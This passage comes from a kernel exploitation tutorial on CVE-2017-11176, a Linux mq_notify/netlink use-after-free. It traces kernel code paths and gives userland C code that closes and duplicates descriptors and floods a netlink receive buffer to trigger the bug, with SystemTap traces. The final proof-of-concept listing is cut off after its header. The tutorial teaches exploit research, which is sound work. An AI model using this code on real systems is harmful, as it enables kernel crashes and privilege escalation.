                ret = -EBADF;
                goto out;           // <--------- on the second loop only!
            }
```

Why does fget() return NULL?

With System Tap, we saw that resetting the FDT's entry of our target file descriptor was enough to make fget() fail (i.e. return NULL):

```
struct files_struct *files = current->files;
struct fdtable *fdt = files_fdtable(files);
fdt->fd[3] = NULL; // makes the second call to fget() fails
```

What **fget()** does is:

1. Retrieves the "struct files_struct" of the *current* process
2. Retrieves the "struct fdtable" from the files_struct
3. Get the value of "fdt->fd[fd]" (i.e. a "struct file" pointer)
4. Increments the "struct file" refcounter (if not NULL) by one
5. Returns the "struct file" pointer

In short, if a particular file descriptor's FDT entry is NULL, fget() returns NULL.

NOTE: If you do not remember the relationship between all those structures, please go back to Core Concept #1.

Reset an Entry in the File Descriptor Table

In the stap script, we reset the fdt entry for file descriptor "3" (cf. previous section). How can we do it from userland? What sets a FDT entry to NULL? **Answer: The close() syscall.**

Here is a simplified version (without locking and error handling):

```
    // [fs/open.c]

    SYSCALL_DEFINE1(close, unsigned int, fd)
    {
      struct file * filp;
      struct files_struct *files = current->files;
      struct fdtable *fdt;
      int retval;

[0]   fdt = files_fdtable(files);
[1]   filp = fdt->fd[fd];
[2]   rcu_assign_pointer(fdt->fd[fd], NULL); // <----- equivalent to: fdt->fd[fd] = NULL
[3]   retval = filp_close(filp, files);
      return retval;
    }
```

The close() syscall:

- [0] - retrieves the current process' FDT
- [1] - retrieves the struct file pointer associated to a fd using the FDT
- [2] - **resets the FDT entry to NULL (unconditionally)**
- [3] - drops a reference from the file object (i.e. calls fput())

Nice, we have an easy way to (unconditionally) reset a FDT entry. However, it brings another problem...

An Egg and Chicken Issue...

It would be tempting to *just* call close() in the *unblock_thread* before calling setsockopt(). The problem is that setsockopt() needs a valid file descriptor! We already experienced it with system tap, that's why we moved the "fdt reset code" while returning from netlink_attachskb(), instead of before. We have the same issue in userland...

What about calling close() *after* setsocktopt()? If we call close() *after* calling setsockopt() (unblocking the main thread) **we don't profit of our extended windows**. In other words, we fallback into the "small window" scenario. We do not want that.

Fortunately there is a way! In Core Concept #1, it has been said that the file descriptor table is **not a 1:1 mapping**. That is, several file descriptors might point to the same file object. How to make a struct file pointed by two file descriptors? **The dup() syscall**.

```
    // [fs/fcntl.c]

    SYSCALL_DEFINE1(dup, unsigned int, fildes)
    {
      int ret = -EBADF;
[0]   struct file *file = fget(fildes);

      if (file) {
[1]     ret = get_unused_fd();
        if (ret >= 0)
[2]       fd_install(ret, file); // <----- equivalent to: current->files->fdt->fd[ret] = file
        else
          fput(file);
      }
[3]   return ret;
    }
```

Yet another simple syscall, dup() does exactly what we want:

- [0] - takes a reference on a struct file object from a file descriptor
- [1] - picks the next "unused/available" file descriptor
- [2] - sets the fdt entry of this new file descriptor with a pointer to the struct file object
- [3] - returns the new fd

In the end, we will have two file descriptors that refer to the same struct file:

- **sock_fd**: used by mq_notify() and close()
- **unblock_fd**: used by setsockopt()

Updating the Exploit

Let's update the exploit (adding close/dup calls and change setsockopt() parameters):

```
struct unblock_thread_arg
{
  int sock_fd;
  int unblock_fd;     // <----- used by the "unblock_thread"
  bool is_ready;
};

static void* unblock_thread(void *arg)
{
  // ... cut ...

  sleep(5); // gives some time for the main thread to block

  printf("[unblock] closing %d fd\n", uta->sock_fd);
  _close(uta->sock_fd);                              // <----- close() before setsockopt()

  printf("[unblock] unblocking now\n");
  if (_setsockopt(uta->unblock_fd, SOL_NETLINK,      // <----- use "unblock_fd" now!
                  NETLINK_NO_ENOBUFS, &val, sizeof(val)))
    perror("setsockopt");
  return NULL;
}


int main(void)
{
  // ... cut ...

  if ((uta.unblock_fd = _dup(uta.sock_fd)) < 0)         // <----- dup() after socket()
  {
    perror("dup");
    goto fail;
  }
  printf("[main] netlink fd duplicated = %d\n", uta.unblock_fd);

  // ... cut ...
}
```

Remember to remove the lines that reset the FDT entry in stap scripts, and launch:

```
-={ CVE-2017-11176 Exploit }=-
[main] netlink socket created = 3
[main] netlink fd duplicated = 4
[main] creating unblock thread...
[main] unblocking thread has been created!
[main] get ready to block
[unblock] closing 3 fd
[unblock] unblocking now
mq_notify: Bad file descriptor
exploit failed!

<<< KERNEL CRASH >>>
```

ALERT COBRA: our first kernel crash! Yes, we are now triggering the use-after-free.

The reason why we crash will be studied in part 3.

Long story short: because of dup(), calling close() will not release a reference on netlink_sock object. It is the netlink_detachskb() that actually releases the last reference on netlink_sock (and frees it). In the end, the use-after-free is triggered during program exit, while releasing the "unblock_fd" file descriptor (in netlink_release()).

Great! We already fixed two necessary conditions to trigger the bug **without** System Tap. Let's move on and implement the last requirements.

Looping back to "retry" label

This section might look like a *brutal* kernel code unrolling. Don't get scared! We are one-step away from the complete proof-of-concept code. As the proverb says: "*Eat the elephant one bite at a time*."

Alright, let's have a look at our TODO list:

1. **Force netlink_attachskb() to return 1**
2. [DONE] Unblock the exploit thread
3. [DONE] Force the second fget() call to return NULL

In order to reach the **retry path**, it is required that **netlink_attachskb()** returns 1. The only way to do it requires that we pass the first condition and unblock the thread (we did this already):

```
    int netlink_attachskb(struct sock *sk, struct sk_buff *skb,
              long *timeo, struct sock *ssk)
    {
      struct netlink_sock *nlk;
      nlk = nlk_sk(sk);

[0]   if (atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state))
      {
        // ... cut ...
        return 1;
      }
      // normal path
      return 0;
    }
```

The condition [0] is true if:

1. the **sk_rmem_alloc** value is *greater* than **sk_rcvbuf**, or...
2. ...the lowest significant bit of **nlk->state** is set.

Right now, we force it to be true by setting the LSB of "nlk->state" with stap:

```
struct sock *sk = (void*) STAP_ARG_arg_sock;
struct netlink_sock *nlk = (void*) sk;
nlk->state |= 1;
```

However, marking the socket state as "congested" (LSB set) is a bit tedious. The kernel path that sets this bit can only be reached because of memory allocation failure. It will put the system into an unstable state that is not suitable for exploitation. Well, there are other paths (without memory failure) but then we are already satisfying the condition... so it will be useless.

Instead, we will try to increase the **sk_rmem_alloc** value which represents the "current" size of the sock's receive buffer.

Filling The Receive Buffer

In this section, we will try to satisfy the first condition which means "is the receive buffer full?":

```
atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf
```

As a reminder, a struct sock (embedded in netlink_sock) has the following fields:

- **sk_rcvbuf**: "theorical" max size of the receive buffer (in bytes)
- **sk_rmem_alloc**: "current" size of the receive buffer (in bytes)
- **sk_receive_queue**: double-linked list of "skb" (i.e. network buffers)

NOTE: The sk_rcvbuf is "theorical" because the receive buffer "current" size can actually go beyond it.

While dumping the netlink sock structure with stap (part 1) we had:

```
- sk->sk_rmem_alloc = 0
- sk->sk_rcvbuf = 133120
```

There are two ways to make this condition true:

1. lowering sk_rcvbuf below 0 (sk_rcvbuf type is *int* in our kernel version)
2. increasing sk_rmem_alloc above 133120

Lowering sk_rcvbuf

The *sk_rcvbuf* is something common to all sock objects. There are not much places where this value is modified (with netlink sockets). One is **sock_setsockopt** (accessible with SOL_SOCKET parameter):

```
    // from [net/core/sock.c]

    int sock_setsockopt(struct socket *sock, int level, int optname,
            char __user *optval, unsigned int optlen)
    {
      struct sock *sk = sock->sk;
      int val;

      // ... cut  ...

      case SO_RCVBUF:
[0]     if (val > sysctl_rmem_max)
          val = sysctl_rmem_max;
    set_rcvbuf:
        sk->sk_userlocks |= SOCK_RCVBUF_LOCK;
[1]     if ((val * 2) < SOCK_MIN_RCVBUF)
          sk->sk_rcvbuf = SOCK_MIN_RCVBUF;
        else
          sk->sk_rcvbuf = val * 2;
        break;

      // ... cut (other options handling) ...
    }
```

When you see this type of code, **keep an eye on every expression type**.

NOTE: A lot of bugs exist because of this "signed/unsigned type mixing". The same goes when casting a bigger type (u64) to a smaller type (u32). This often leads to *int overflow* or *type casting* issues.

In our target (yours could be different) we have:

- **sk_rcvbuf**: int
- **val**: int
- **sysctl_rmem_max**: __u32
- **SOCK_MIN_RCVBUF**: "promoted" to size_t because of "sizeof()"

The SOCK_MIN_RCVBUF definition being:

```
#define SOCK_MIN_RCVBUF (2048 + sizeof(struct sk_buff))
```

In general, when mixing *signed* integer with *unsigned* integer, the *signed* integer is casted into the unsigned type.

WARNING: Don't consider the previous rule to be *rock solid*, the compiler might choose to do something else. You should check the disassembly code to be sure.

Let's consider we pass a *negative* value in "val". During [0], it will be promoted to unsigned type (because **sysctl_rmem_max** type is "__u32"). And so, value will be reset to *sysctl_rmem_max* (small negative values are huge unsigned values).

Even if "val" is not promoted to "__u32", we wouldn't pass the second check [1]. In the end, we will be clamped to [SOCK_MIN_RCVBUF, sysctl_rmem_max] (i.e. not negative). That is, we need to play with **sk_rmem_alloc** instead of **sk_rcvbuf** field.

NOTE: While developing an exploit you will meet this phenomenon: analyzing a lot of code paths that actually lead to *nowhere*. We wanted to expose it in this article.

Back to the "normal" path

It is time to get back to something we ignored since the very first line of this series: mq_notify() "normal" path. Conceptually, there is a "retry path" when the sock receive buffer is full because the **normal path might actually fill it**.

In netlink_attachskb():

```
    int netlink_attachskb(struct sock *sk, struct sk_buff *skb,
              long *timeo, struct sock *ssk)
    {
      struct netlink_sock *nlk;
      nlk = nlk_sk(sk);
      if (atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state)) {
          // ... cut (retry path) ...
      }
      skb_set_owner_r(skb, sk);       // <----- what about this ?
      return 0;
    }
```

So, the *normal path* calls **skb_set_owner_r()**:

```
    static inline void skb_set_owner_r(struct sk_buff *skb, struct sock *sk)
    {
      WARN_ON(skb->destructor);
      __skb_orphan(skb);
      skb->sk = sk;
      skb->destructor = sock_rfree;
[0]   atomic_add(skb->truesize, &sk->sk_rmem_alloc);  // sk->sk_rmem_alloc += skb->truesize
      sk_mem_charge(sk, skb->truesize);
    }
```

Yes, **skb_set_owner_r() increases the value of *sk_rmem_alloc* by *skb->truesize***. So, let's call mq_notify() multiple times until the receive buffer is full? Unfortunately, we can't do it that easily.

In the normal course of mq_notify(), a skb (called "cookie") is created at the beginning of the function and attached to the netlink_sock with netlink_attachskb(), we already covered this. Then, both the netlink_sock and the skb are *associated* to the "mqueue_inode_info" structure which belongs to a message queue (cf. mq_notify's normal path).

The problem is, there can be only one (cookie) "skb" associated to a mqueue_inode_info structure at a time. That is, calling mq_notify() a second time will fail with a "-EBUSY" error. In other words, we can only increase **sk_rmem_alloc** size once (for a given message queue) and this is not enough (only 32 bytes) to make it greater than sk_rcvbuf.

We *might* actually create multiple message queues, hence multiple mqueue_inode_info objects and call mq_notify() multiple times. Or, we can also use mq_timedsend() syscall to push messages into the queue. Because we don't want to study another subsystem (mqueue), and stick with "common" kernel path (sendmsg), we won't do that here. It might be a good exercise though...

NOTE: There are always multiple ways to code an exploit.

While we will not take the mq_notify() normal path, it still exposed an important thing: we can increase sk_rmem_alloc with skb_set_owner_r(), hence netlink_attachskb().

The netlink_unicast() path

With the help of skb_set_owner_r(), we saw that netlink_attachskb() might increase the sk_rmem_alloc value. Function netlink_attachskb() is also called by **netlink_unicast()**. Let's do a *bottom-up analysis* to check how we can reach netlink_unicast() up to a syscall:

```
- skb_set_owner_r
- netlink_attachskb
- netlink_unicast
- netlink_sendmsg   // there is a lots of "other" callers of netlink_unicast
- sock->ops->sendmsg()
- __sock_sendmsg_nosec()
- __sock_sendmsg()
- sock_sendmsg()
- __sys_sendmsg()
- SYSCALL_DEFINE3(sendmsg, ...)
```

Because **netlink_sendmsg()** is a *proto_ops* of netlink sockets (Core Concept #1), it is reachable via a sendmsg() syscall.

The *generic* code path from a sendmsg() syscall to a sendmsg's proto_ops (sock->ops->sendmsg()) will be covered in deeper details in part 3. For now, let's assume that we can reach netlink_sendmsg() without much trouble.

Reaching netlink_unicast() from netlink_sendmsg()

The sendmsg() syscall has the following signature:

```c
ssize_t sendmsg(int sockfd, const struct msghdr *msg, int flags);
```

Reaching netlink_unicast() is all about setting the *right values* in both *msg* and *flags* arguments:

```c
struct msghdr {
   void         *msg_name;       /* optional address */
   socklen_t     msg_namelen;    /* size of address */
   struct iovec *msg_iov;        /* scatter/gather array */
   size_t        msg_iovlen;     /* # elements in msg_iov */
   void         *msg_control;    /* ancillary data, see below */
   size_t        msg_controllen; /* ancillary data buffer len */
   int           msg_flags;      /* flags on received message */
};

struct iovec
{
  void __user     *iov_base;
  __kernel_size_t iov_len;
};
```

In this section, we will **infer the parameters value from the code and established our "constraint" list step-by-step**. Doing so makes the kernel take the path that *we* want. Kernel exploitation is actually all about this. Here, the call to netlink_unicast() is at the very end of the function. We will need to pass (or skip) all the checks...

Let's start:

```
    static int netlink_sendmsg(struct kiocb *kiocb, struct socket *sock,
             struct msghdr *msg, size_t len)
    {
      struct sock_iocb *siocb = kiocb_to_siocb(kiocb);
      struct sock *sk = sock->sk;
      struct netlink_sock *nlk = nlk_sk(sk);
      struct sockaddr_nl *addr = msg->msg_name;
      u32 dst_pid;
      u32 dst_group;
      struct sk_buff *skb;
      int err;
      struct scm_cookie scm;
      u32 netlink_skb_flags = 0;

[0]   if (msg->msg_flags&MSG_OOB)
        return -EOPNOTSUPP;

[1]   if (NULL == siocb->scm)
        siocb->scm = &scm;

      err = scm_send(sock, msg, siocb->scm, true);
[2]   if (err < 0)
        return err;

      // ... cut ...

      err = netlink_unicast(sk, skb, dst_pid, msg->msg_flags&MSG_DONTWAIT);   // <---- our targ
et

    out:
      scm_destroy(siocb->scm);
      return err;
    }
```

The flag *MSG_OOB* should not be set to pass [0]. Here is our first constraint: **msg->msg_flags MSG_OOB bit is not set**.

The test at [1] will be true since "siocb->scm" is set to *NULL* in **__sock_sendmsg_nosec()**. Finally, *scm_send()* should not return a negative value [2], the code is:

```
static __inline__ int scm_send(struct socket *sock, struct msghdr *msg,
                   struct scm_cookie *scm, bool forcecreds)
{
    memset(scm, 0, sizeof(*scm));
    if (forcecreds)
        scm_set_cred(scm, task_tgid(current), current_cred());
    unix_get_peersec_dgram(sock, scm);
    if (msg->msg_controllen <= 0)     // <----- this need to be true...
        return 0;                     // <----- ...so we hit this and skip __scm_send()
    return __scm_send(sock, msg, scm);
}
```

The second constraint: **msg->msg_controllen equals zero** (the type is size_t, no negative values).

Let's continue:

```
      // ... netlink_sendmsg() continuation ...

[0]   if (msg->msg_namelen) {
        err = -EINVAL;
[1]     if (addr->nl_family != AF_NETLINK)
          goto out;
[2a]    dst_pid = addr->nl_pid;
[2b]    dst_group = ffs(addr->nl_groups);
        err =  -EPERM;
[3]     if ((dst_group || dst_pid) && !netlink_allowed(sock, NL_NONROOT_SEND))
          goto out;
        netlink_skb_flags |= NETLINK_SKB_DST;
      } else {
        dst_pid = nlk->dst_pid;
        dst_group = nlk->dst_group;
      }

      // ... cut ...
```

Okay, this one is a bit tricky. This block depends if the "sender" socket is already connected to the destination (receiver) socket or not. If it is, then both "nlk->dst_pid" and "nlk->dst_group" are already set. Since we don't want to connect to the receiver socket (bad side effect), we want to take the first branch. That is **msg->msg_namelen must be different than zero** [0].

If you look back at the beginning of the function, we see that "addr" is another user-controlled parameter: msg->msg_name. With the help of [2a] and [2b] we can choose an arbitrary "dst_group" and "dst_pid". Controlling those allows us to:

1. dst_group == 0: send a unicast message instead of broadcast (cf. *man 7 netlink*)
2. dst_pid != 0: talk to the receiver socket (userland) of our choice. Zero meaning "talk to the kernel" (read the manual!).

Which we translate in the constraint list into (msg_name is cast to sockaddr_nl):

1. **msg->msg_name->dst_group equals zero**
2. **msg->msg_name->dst_pid equals "destination" socket nl_pid**

However, it implies that **netlink_allowed(sock, NL_NONROOT_SEND)** [3] does not return zero:

```
static inline int netlink_allowed(const struct socket *sock, unsigned int flag)
{
  return (nl_table[sock->sk->sk_protocol].flags & flag) || capable(CAP_NET_ADMIN));
}
```

Because we are exploiting from an unprivileged user, we don't have CAP_NET_ADMIN. The only "netlink protocol" which has the "NL_NONROOT_SEND" flag set is *NETLINK_USERSOCK* (cross-reference it). That is: **"sender" socket must has the protocol NETLINK_USERSOCK**.

In addition [1], we need **msg->msg_name->nl_family equals AF_NETLINK**.

Next:

```
[0]   if (!nlk->pid) {
[1]     err = netlink_autobind(sock);
        if (err)
          goto out;
      }
```

We can't control the check at [0] because during socket creation, the socket's pid is set to zero (the whole structure is zeroed by sk_alloc()). We will get back to this, but for now consider that **netlink_autobind()** [1] will find an "available" pid for our sender socket and it will not fail. However, the check will be skipped during a second call to sendmsg(), "nlk->pid" will be set this time. Next:

```
      err = -EMSGSIZE;
[0]   if (len > sk->sk_sndbuf - 32)
        goto out;
      err = -ENOBUFS;
      skb = alloc_skb(len, GFP_KERNEL);
[1]   if (skb == NULL)
        goto out;
```

Here, "len" is computed during **__sys_sendmsg()**. It is the "sum of all iovec len". So, the sum of all iovecs must be less than sk->sk_sndbuf minus 32 [0]. To keep it simple, we will use a single iovec. That is:

- **msg->msg_iovlen equals 1** // a single iovec
- **msg->msg_iov->iov_len is less than or equals than sk->sk_sndbuf minus 32**
- **msg->msg_iov->iov_base must be *userland* readable** // otherwise __sys_sendmsg() will fail

The last constraint implies that **msg->msg_iov is also a *userland* readable address** (again, __sys_sendmsg() will fail otherwise).

NOTE: "sk_sndbuf" is equivalent to "sk_rcvbuf" but for the sending buffer. We can retrieve its value with **sock_getsockopt()** option "SO_SNDBUF".

The check at [1] should not fail. If it does, it means that the kernel is currently running out-of-memory and is in a very bad shape for exploitation. The exploit should not continue, chances here are that it will fail, and worst, make the kernel crash! **You've been warned, implement error handling code...**

The next code block can be ignored (no need to pass any checks), the "siocb->scm" structure is initialized early with scm_send():

```
      NETLINK_CB(skb).pid   = nlk->pid;
      NETLINK_CB(skb).dst_group = dst_group;
      memcpy(NETLINK_CREDS(skb), &siocb->scm->creds, sizeof(struct ucred));
      NETLINK_CB(skb).flags = netlink_skb_flags;
```

Next:

```
      err = -EFAULT;
[0]   if (memcpy_fromiovec(skb_put(skb, len), msg->msg_iov, len)) {
        kfree_skb(skb);
        goto out;
      }
```

Again, no problem with the check [0] we already provide a *readable* iovec otherwise __sys_sendmsg() fails (cf. previous constraint).

```
[0]   err = security_netlink_send(sk, skb);
      if (err) {
        kfree_skb(skb);
        goto out;
      }
```

This is a Linux Security Module (LSM, e.g. SELinux) check. If we can't pass this check, you will need to find another way to reach netlink_unicast() or more generally, another way to increase "sk_rmem_alloc" (hint: maybe try netlink_dump()). We assume that we pass this check here.

And finally:

```
[0]   if (dst_group) {
        atomic_inc(&skb->users);
        netlink_broadcast(sk, skb, dst_pid, dst_group, GFP_KERNEL);
      }
[1]   err = netlink_unicast(sk, skb, dst_pid, msg->msg_flags&MSG_DONTWAIT);
```

Remember that we choose the "dst_group" value with "msg->msg_name->dst_group". Since we forced it to be zero, we will skip the check [0]... **and finally call netlink_unicast()!**

Phew.... It has been a long way...

Alright, let's summarize all our requirements to (just) reach netlink_unicast() from netlink_sendmsg():

- **msg->msg_flags** doesn't have the *MSG_OOB* flag
- **msg->msg_controllen** equals 0
- **msg->msg_namelen** is different from zero
- **msg->msg_name->nl_family** equals AF_NETLINK
- **msg->msg_name->nl_groups** equals 0
- **msg->msg_name->nl_pid** is different from 0 and points to the receiver socket
- the sender netlink socket must use the **NETLINK_USERSOCK** protocol
- **msg->msg_iovlen** equals 1
- **msg->msg_iov** is a readable userland address
- **msg->msg_iov->iov_len** is lesser than or equals to sk_sndbuf minus 32
- **msg->msg_iov->iov_base** is a readable userland address

What we've seen here is the kernel exploiter's duty. Analyzing each check, forcing a particular kernel path, tailoring your syscall parameters, etc. In practice, this is not that long to establish this list. Some paths are way more complex than this.

Let's move on and now reach netlink_attachskb().

Reach netlink_attachskb() from netlink_unicast()

This one should be easier than the previous one. netlink_unicast() is called with the following parameters:

```
netlink_unicast(sk, skb, dst_pid, msg->msg_flags&MSG_DONTWAIT);
```

Where:

- **sk** is our sender netlink_sock
- **skb** is a socket buffer filled with *msg->msg_iov->iov_base* data of size *msg->msg_iov->iov_len*
- **dst_pid** is a controlled pid (*msg->msg_name->nl_pid*) pointing to our receiver netlink socket
- **msg->msg_flasg&MSG_DONTWAIT** indicates if netlink_unicast() should block or not

WARNING: Inside the netlink_unicast() code **"ssk" is the sender socket and "sk" the receiver**.

The netlink_unicast() code is:

```
    int netlink_unicast(struct sock *ssk, struct sk_buff *skb,
            u32 pid, int nonblock)
    {
      struct sock *sk;
      int err;
      long timeo;

      skb = netlink_trim(skb, gfp_any());   // <----- ignore this

[0]   timeo = sock_sndtimeo(ssk, nonblock);
    retry:
[1]   sk = netlink_getsockbypid(ssk, pid);
      if (IS_ERR(sk)) {
        kfree_skb(skb);
        return PTR_ERR(sk);
      }
[2]   if (netlink_is_kernel(sk))
        return netlink_unicast_kernel(sk, skb, ssk);

[3]   if (sk_filter(sk, skb)) {
        err = skb->len;
        kfree_skb(skb);
        sock_put(sk);
        return err;
      }

[4]   err = netlink_attachskb(sk, skb, &timeo, ssk);
      if (err == 1)
        goto retry;
      if (err)
        return err;

[5]   return netlink_sendskb(sk, skb);
    }
```

In [0], sock_sndtimeo() sets the value of **timeo** (*timeout*) based on the *nonblock* parameter. Since we don't want to block (nonblock>0), timeo will be zero. That is **msg->msg_flags must set the MSG_DONTWAIT flag**.

In [1], the destination netlink_sock "sk" is retrieved from the pid. As we will see in the next section, **the destination netlink_sock needs to be bound** prior to being retrieved with netlink_getsockbypid().

In [2], the destination socket must not be a "kernel" socket. A netlink sock is tagged *kernel* if it has the *NETLINK_KERNEL_SOCKET* flag. It means that it has been created with the netlink_kernel_create() function. Unfortunately, the NETLINK_GENERIC is one of them (from current exploit). So let's **change the receiver socket protocol to NETLINK_USERSOCK** as well. It also makes more sense by the way... Note that a reference is taken on receiver netlink_sock.

In [3], the BPF sock filter might apply. It can be skipped if we **don't create any BPF filter for the receiver sock**.

And.... The call [4] to netlink_attachskb()! Inside netlink_attachskb(), we are guaranteed to take one of those paths (should we past the code again?):

1. the receiver buffer is not full: call skb_set_owner_r() -> increase sk_rmem_alloc
2. the receiver buffer is full: netlink_attachskb() do not block and return -EAGAIN (timeout is zero)

That is, we have a way to know when the receive buffer is full (just check the error code of sendmsg()).

Finally, the call [5] to netlink_sendskb() adds the skb to the receiver buffer list and drops the reference taken with netlink_getsockbypid(). Yay! :-)

Let's update the constraint list:

- **msg->msg_flags** has the MSG_DONTWAIT flag set
- the receiver netlink socket must be bound prior calling sendmsg()
- the receiver netlink socket must use the **NETLINK_USERSOCK** protocol
- don't define any BPF filter for the receiver socket

We are very close to the final PoC now. We just need to bind the receiver socket.

Binding the receiver socket

Like any socket communication, two sockets can communicate by using "addresses". Since we are manipulating netlink socket, we'll use the "struct sockaddr_nl" type (cf. the manual):

```
struct sockaddr_nl {
   sa_family_t     nl_family;  /* AF_NETLINK */
   unsigned short  nl_pad;     /* Zero. */
   pid_t           nl_pid;     /* Port ID. */
   __u32           nl_groups;  /* Multicast groups mask. */
};
```

As we don't want to be part of a "broadcast group", *nl_groups* must be zero. The only important field here is "nl_pid".

Basically, **netlink_bind()** can take two paths:

1. nl_pid is not zero: it calls **netlink_insert()**
2. nl_pid is zero: it calls **netlink_autobind()**, which in turn calls netlink_insert()

Note that calling netlink_insert() with an already used *pid* will fail with the error "-EADDRINUSE". Otherwise, a mapping is created between the *nl_pid* and the netlink sock. That is, the netlink sock can now be retrieved with netlink_getsockbypid(). In addition, **netlink_insert() increases the sock reference counter by 1**. Keep this in mind for the final proof-of-concept code.

NOTE: Understanding how netlink stores the "pid:netlink_sock" mapping is explained in deeper details in part 4.

While calling netlink_autobind() seems more natural, we actually *simulate it* (don't know why... laziness mostly...) from userland by bruteforcing the pid value (this is what autobind do) until bind() succeeds. Doing so, allows us to directly have the destination nl_pid value without calling getsockname(), and (might) ease debugging (really not sure about that :-)).

Putting It All Together

It was quite a long run to get into all those paths but we are now ready to implement it in our exploit and finally reach our goal: **netlink_attachskb() returns 1!**

Here is the strategy:

1. Create two AF_NETLINK sockets with protocol NETLINK_USERSOCK
2. Bind the target (receiver) socket (i.e. the one that must have its receive buffer full)
3. [optional] Try to reduce the target socket receive buffer (less call to sendmsg())
4. Flood the target socket via *sendmsg()* from the sender socket until it returns EAGAIN
5. Close the sender socket (we won't need it anymore)

You can run this single code in *standalone* to validate that everything works:

```c
static int prepare_blocking_socket(void)
{
  int send_fd;
  int recv_fd;
  char buf[1024*10]; // should be less than (sk->sk_sndbuf - 32), you can use getsockopt()
  int new_size = 0; // this will be reset to SOCK_MIN_RCVBUF

  struct sockaddr_nl addr = {
    .nl_family = AF_NETLINK,
    .nl_pad = 0,
    .nl_pid = 118, // must different than zero
    .nl_groups = 0 // no groups
  };

  struct iovec iov = {
    .iov_base = buf,
    .iov_len = sizeof(buf)
  };

  struct msghdr mhdr = {
    .msg_name = &addr,
    .msg_namelen = sizeof(addr),
    .msg_iov = &iov,
    .msg_iovlen = 1,
    .msg_control = NULL,
    .msg_controllen = 0,
    .msg_flags = 0,
  };

  printf("[ ] preparing blocking netlink socket\n");

  if ((send_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) < 0 ||
      (recv_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) < 0)
  {
    perror("socket");
    goto fail;
  }
  printf("[+] socket created (send_fd = %d, recv_fd = %d)\n", send_fd, recv_fd);

  // simulate netlink_autobind()
  while (_bind(recv_fd, (struct sockaddr*)&addr, sizeof(addr)))
  {
    if (errno != EADDRINUSE)
    {
      perror("[-] bind");
      goto fail;
    }
    addr.nl_pid++;
  }

  printf("[+] netlink socket bound (nl_pid=%d)\n", addr.nl_pid);

  if (_setsockopt(recv_fd, SOL_SOCKET, SO_RCVBUF, &new_size, sizeof(new_size)))
    perror("[-] setsockopt"); // no worry if it fails, it is just an optim.
  else
    printf("[+] receive buffer reduced\n");

  printf("[ ] flooding socket\n");
  while (_sendmsg(send_fd, &mhdr, MSG_DONTWAIT) > 0)  // <----- don't forget MSG_DONTWAIT
    ;
  if (errno != EAGAIN)  // <----- did we failed because the receive buffer is full ?
  {
    perror("[-] sendmsg");
    goto fail;
  }
  printf("[+] flood completed\n");

  _close(send_fd);

  printf("[+] blocking socket ready\n");
  return recv_fd;

fail:
  printf("[-] failed to prepare block socket\n");
  return -1;
}
```

Let's check the result with system tap. **From here, System Tap should only be used to observe the kernel, it must not modify anything.** Remember to remove the line that marks the socket as *congested*, and run it:

```
(2768-2768) [SYSCALL] ==>> sendmsg (3, 0x7ffe69f94b50, MSG_DONTWAIT)
(2768-2768) [uland] ==>> copy_from_user ()
(2768-2768) [uland] ==>> copy_from_user ()
(2768-2768) [uland] ==>> copy_from_user ()
(2768-2768) [netlink] ==>> netlink_sendmsg (kiocb=0xffff880006137bb8 sock=0xffff88002fdba0c0 ms
g=0xffff880006137f18 len=0x2800)
(socket=0xffff88002fdba0c0)->sk->sk_refcnt = 1
(2768-2768) [netlink] ==>> netlink_autobind (sock=0xffff88002fdba0c0)
(2768-2768) [netlink] <<== netlink_autobind = 0
(2768-2768) [skb] ==>> alloc_skb (priority=0xd0 size=?)
(2768-2768) [skb] ==>> skb_put (skb=0xffff88003d298840 len=0x2800)
(2768-2768) [skb] <<== skb_put = ffff880006150000
(2768-2768) [iovec] ==>> memcpy_fromiovec (kdata=0xffff880006150000 iov=0xffff880006137da8 len=
0x2800)
(2768-2768) [uland] ==>> copy_from_user ()
(2768-2768) [iovec] <<== memcpy_fromiovec = 0
(2768-2768) [netlink] ==>> netlink_unicast (ssk=0xffff880006173c00 skb=0xffff88003d298840 pid=0
x76 nonblock=0x40)
(2768-2768) [netlink] ==>> netlink_lookup (pid=? protocol=? net=?)
(2768-2768) [sk] ==>> sk_filter (sk=0xffff88002f89ac00 skb=0xffff88003d298840)
(2768-2768) [sk] <<== sk_filter = 0
(2768-2768) [netlink] ==>> netlink_attachskb (sk=0xffff88002f89ac00 skb=0xffff88003d298840 time
o=0xffff880006137ae0 ssk=0xffff880006173c00)
-={ dump_netlink_sock: 0xffff88002f89ac00 }=-
- sk = 0xffff88002f89ac00
- sk->sk_rmem_alloc = 0                                  // <-----
- sk->sk_rcvbuf = 2312                                   // <-----
- sk->sk_refcnt = 3
- nlk->state = 0
- sk->sk_flags = 100
-={ dump_netlink_sock: END}=-
(2768-2768) [netlink] <<== netlink_attachskb = 0
-={ dump_netlink_sock: 0xffff88002f89ac00 }=-
- sk = 0xffff88002f89ac00
- sk->sk_rmem_alloc = 10504                              // <-----
- sk->sk_rcvbuf = 2312                                   // <-----
- sk->sk_refcnt = 3
- nlk->state = 0
- sk->sk_flags = 100
-={ dump_netlink_sock: END}=-
(2768-2768) [netlink] <<== netlink_unicast = 2800
(2768-2768) [netlink] <<== netlink_sendmsg = 2800
(2768-2768) [SYSCALL] <<== sendmsg= 10240
```

Awesome! We now satisfy the "receive buffer full" condition (*sk_rmem_alloc > sk_rcvbuf*). That is, the next call to *mq_attachskb()* will returns 1!

Let's update the TODO list:

1. [DONE] Force netlink_attachskb() to return 1
2. [DONE] Unblock the exploit thread
3. [DONE] Force the second fget() call to return NULL

Are we done? Almost...

Final Proof-Of-Concept Code

In the last three sections, we implemented every condition needed to trigger the bug using only *userland code*. Before showing the final *proof-of-concept* code, there is **one more thing to do**.

While trying to fill the receive buffer, we saw that the refcounter has been increased by one during netlink_bind() because of netlink_insert(). It means that *before* entering *mq_notify()* the refcounter is set to two (instead of one).

Since the bug gives us a *primitive* that decreases a *netlink_sock* refcounter by 1, we need to **trigger the bug twice**!

Before triggering the bug, we used *dup()* to have a way to unblock the main thread. We will need to use it *again* (because the old one is closed), so we can keep one fd to unblock and another one to trigger the bug.

"*Show me the code!*"

Alright, here is the final PoC (don't run system tap):

```c
/*
 * CVE-2017-11176 Proof-of-concept code by LEXFO.
 *
 * Compile with:
 *
 *  gcc -fpic -O0 -std=c99 -Wall -pthread exploit.c -o exploit
 */

